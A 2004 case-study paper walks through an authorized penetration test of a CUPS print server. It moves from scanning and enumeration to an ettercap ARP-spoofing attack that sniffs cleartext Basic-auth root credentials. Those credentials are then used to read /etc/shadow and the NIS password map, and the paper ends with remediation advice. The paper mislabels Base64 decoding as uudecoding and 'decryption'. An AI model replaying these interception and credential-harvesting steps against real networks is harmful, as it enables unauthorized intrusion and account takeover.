Discovering and Exploiting Vulnerabilities (by Example)

Anthony S. Clark
7/8/2004

INTRODUCTION

This paper will show the mindset and some techniques for discovering and exploiting vulnerabilities in a software product by using a case history example. While the methods in this example do not apply to all vulnerabilities, they are still conceptually useful. The example is also interesting because this particular case and method of exploitation has not (to the best of the authors' knowledge) been published. This example will be described from the point of view of a penetration test. It will be written in first person to preserve the sense of discovery.

OVERVIEW

There are several steps in penetration testing a network to look for exploitable vulnerabilities.

- Determine what hosts are available
- Determine what the hosts are and what services they are running
- Research the services and operating systems for known vulnerabilities
- Probe services for unknown vulnerabilities
- Attempt exploitation and privilege escalation
- Document results and provide advice for fixes

ATTACK

I was given the task of performing a penetration test on a particular network in order to find vulnerabilities and make recommendations to management. Since this was a sanctioned and friendly penetration test, I did not need to employ any stealth or intrusion detection system evasion methods. I decided to begin by performing a ping scan of the network to see what IP addresses were available to ICMP.

```
bash-2.05$ fping –a –A –q –g 192.168.1.0/24
192.168.1.3
192.168.1.5
192.168.1.10
192.168.1.50
```

Next I did a port scan with operating system fingerprinting on each host looking for interesting listening services. *192.168.1.3* and *192.168.1.5* were standard windows boxes but 192.168.1.10 was a Linux box with several open ports. 192.168.1.50 appeared to be a UNIX box running NIS. I decided to start with 192.168.1.10. My nmap was SETUID root to allow for OS fingerprinting as a non-root user.

```
Bash-2.05$ nmap -O 192.168.1.10
Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-07-07 18:02 MDT
Interesting ports on target.host.com (192.168.1.10):
(The 1651 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
515/tcp  open  printer
631/tcp  open  ipp
6000/tcp open  X11
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Uptime 32.474 days (since Sat Jun  5 06:41:41 2004)
```

```
Nmap run completed -- 1 IP address (1 host up) scanned in 5.117 seconds
```

Next I decided to gather as much information as possible from each port. First I used netcat to connect to the SSH port and get the version.

```
bash-2.05$ nc 192.168.1.10 22
SSH-1.99-OpenSSH_3.6.1p2
```

Then I used smbclient to enumerate as much windows related information as possible anonymously.

```
bash-2.05$ smbclient -L 192.168.1.10 -N
Anonymous login successful
Domain=[WIN] OS=[Unix] Server=[Samba 3.0.1pre2]

Sharename      Type      Comment
        ---------      ----      -------
        print$         Disk      Printer Drivers
        IPC$           IPC       IPC Service (The Samba Server for Printing - target)
        ADMIN$         IPC       IPC Service (The Samba Server for Printing - target)
        aaaaaa         Printer   special queue to handle lack of defined default printer
        printer1       Printer   printer1, HP LJ 4050TN
        printer2       Printer   printer2, HPLJ 4mp
(… many more printers were listed but cut)
Anonymous login successful
Domain=[WIN] OS=[Unix] Server=[Samba 3.0.1pre2]

        Server              Comment
        ---------           -------
        TARGET              The Samba Server for Printing - target

        Workgroup           Master
        ---------                       ------
        ADDOMAIN
```

Next I checked the rpc services running with rpcinfo:

```
bash-2.05$ rpcinfo -p 192.168.1.10
   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  32768  status
    100024    1   tcp  32768  status
    391002    2   tcp  32769  sgi_fam
    390113    1   tcp   7937
    100021    1   udp  33226  nlockmgr
    100021    3   udp  33226  nlockmgr
    100021    4   udp  33226  nlockmgr
    100007    2   udp    992  ypbind
    100007    1   udp    992  ypbind
    100007    2   tcp    995  ypbind
    100007    1   tcp    995  ypbind
```

This host is probably bound to an NIS network for authentication and possibly automaps. It also might be a print server.

After that I connected to the IPP port 631, which I wasn't familiar with, using netcat again.

```
bash-2.05$ nc target 631
```

Nothing happened. I tried some HTTP commands in case by chance it was running a webserver on this port.

```
bash-2.05$ nc target 631
GET / HTTP/1.1
```

After typing in the get request and hitting enter twice I got a response:

```
HTTP/1.1 200 OK
Date: Thu, 08 Jul 2004 00:18:29 GMT
Server: CUPS/1.1
Connection: Keep-Alive
Keep-Alive: timeout=60
Content-Language: en_US
Content-Type: text/html; charset=utf-8
Last-Modified: Tue, 17 Dec 2002 21:15:24 GMT
Content-Length: 3177

<HTML>
<HEAD>
    <TITLE>ESP Print Pro - Easy Software Products</TITLE>

(… more html was snipped here)
```

This was a web server for the ESP Print Pro version of CUPS which coincides with the windows printer information I enumerated earlier. I went to http://www.securityfocus.com and searched for known vulnerabilities in ESP/CUPS but didn't find anything applicable to my situation. I then decided to connect to the target on that port using a web browser. I got a navigation bar, a logo, and several links. The top link said "Do Administration Tasks". When I clicked on it, I was prompted for a username and password. Since this was for "administration" tasks I thought maybe it would take the root account. I tried a few passwords such as "password" with no luck. I decided to move on to the next port.

Then I tried to see if the X11 server was setup insecurely by running a tool called xscan which looks for hosts running X11 that allow connections from anywhere. (xhost +)

```
bash-2.05$ ./xscan 192.168.1.10 192.168.1.10
xscan v1.1      X11 connection scanner     xygorf 1997
scanning 192.168.1.10 to 192.168.1.10 on port 6000
Trying 192.168.1.10...Xlib: connection to "192.168.1.10:0.0" refused by server
Xlib: No protocol specified

TCP connection established...X11 Connection failed.
```

X11 was setup securely. It didn't look like there was much to go on so I started to do google searches on ESP and port 631 and web to find more information. I found that the webpage uses the root account be default to authenticate. I then realized that the webpage was using clear text http instead of encrypted SSL (https).

I then began a process of searching to try to figure out what machines the admin might use to administer this print server. I searched google, forums and newsgroups related to Linux and CUPS, DNS and registration records. I found that the admin most often used a computer named "targetbox" on the same network as the printserver. Targetbox turned out to be one of the windows computers I found earlier at 192.168.1.5

I then fired up a program called "ettercap" which lets you do man-in-the-middle attacks on switched networks by arpspoofing. This is a technique for pretending you have the MAC address of the target client and server machines so that their packets pass through you first.

```
bash-2.05$ ettercap –n 255.255.255.0
```

The –n 255.255.255.0 tells ettercap to only enumerate 254 addresses on the same subnet I am on. Once ettercap came up I got a list of addresses in two columns. One is the target client and one is the target server. I scrolled using the arrow keys and selected the hosts using the enter key. I selected 192.168.1.5 as the target client and 192.168.1.10 as the target server.

```
ettercap 0.6.9
5 hosts in this LAN (192.168.1.100 : 255.255.255.0)
1) 192.168.1.100      1) 192.168.1.100              ←---------attacker
2)   192.168.1.3      2)   192.168.1.3
3)   192.168.1.5      3)   192.168.1.5              ←-----------target client
4)   192.168.1.10     4)   192.168.1.10             ←-----------target server
5)   192.168.1.50     5)   192.168.1.50
```

I then hit "a" for arpspoof and waited to see packets. After a while I saw a connection which I selected and hit enter to sniff. It took a few tries on a few connections but finally I saw some clear text.

```
1) 192.168.1.5:4319   <-->  192.168.1.10:631   „  silent „  ipp

GET /cups.css HTTP/1.1                    Connection: Keep-Alive.
Host: target:631.                                  Keep-Alive: timeout=60.
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv Content-Language:
en_US.
1.6) Gecko/20040113.                      Content-Type: text/plain; charset=utf-8.
Accept: text/css,*/*;q=0.1.               Last-Modified: Sat, 17 Jun 2000 16:01:12
Accept-Language: en-us,en;q=0.5.          Content-Length: 198.
Accept-Encoding: gzip,deflate.
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7.          BODY { background-color: #ffffff
}
Keep-Alive: 300.                          H1 { font-family: sans-serif }
Connection: keep-alive.                   H2 { font-family: sans-serif }
Referer: http://target:631/admin/?op=add-class            H3 { font-family: sans-serif }
Authorization: Basic cm9vdDpoYWNrbWUK==.
```

The important piece here was the Authorization section. I researched online using google regarding how http servers do authentication, and I included the string Basic in my searches. I read that many servers use UUENCODE which matched up somewhat with this format. I proceeded to make a Unicode file with this string. The format of the uuencoded file was simple:

```
begin-base64 600 out
cm9vdDpoYWNrbWUK
====
```

I then used uudecode to decode the file which I had called hashed.txt:

```
bash-2.05$ uudecode hashed.txt
bash-2.05$ cat out
```

```
root:hackme
```

I had decrypted the root password for the print server! I tried to log in using the account information I had found:

```
bash-2.05$ ssh –l root target
password:
Last login: Wed Jul  7 14:50:48 2004 from targetbox
-bash-2.05b#
```

It appeared I was in as root. I tried a couple of commands to be sure:

```
-bash-2.05b# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),8356(cfengine),7(lp),10
(wheel)
-bash-2.05b# whoami
root
-bash-2.05b# head /etc/shadow
root:E@z12rmJhsEjI:10991::::::
```

I then remembered that I saw this host running NIS in the scans I performed earlier. To be sure I tried to access the NIS password file:

```
-bash-2.05b# ypcat -k passwd |grep root
root root: E@z12rmJhsEjI:0:1:Root:/:/bin/csh
```

This meant that I could log into any UNIX machine on the network that was using NIS as root. I then tried the account on the windows machines in the hopes that the administrator used the same administrative account on both platforms. I was successful.

In my report I advised the web service to either be disabled, management browsers run locally, or connected to through an SSH tunnel to avoid man-in-the-middle attacks. I also recommended different accounts for different platforms if possible.

CONCLUSION

The methods used in this example were efficient and successful in penetrating the network. A serious unknown vulnerability existed in this configuration of CUPS which eventually lead to administrative level compromise of the whole network. This example also illustrated some issues with posting information to newsgroups, forums, and DNS registration records and how that information could be used in an attack.

When performing a penetration test it is important to keep in mind knowledge of various protocols and services and their weaknesses. Even if a vulnerability isn't published that doesn't mean it doesn't exist or that it can't be exploited.

REFERENCES

Information on Arpspoofing - http://www.monkey.org/~dugsong/dsniff/
Web Searches - http://www.google.com
Ettercap - http://ettercap.sourceforge.net/
NetCat - http://www.atstake.com/research/tools/network_utilities/
Nmap - http://www.insecure.org/
Smbclient - http://us1.samba.org/samba/samba.html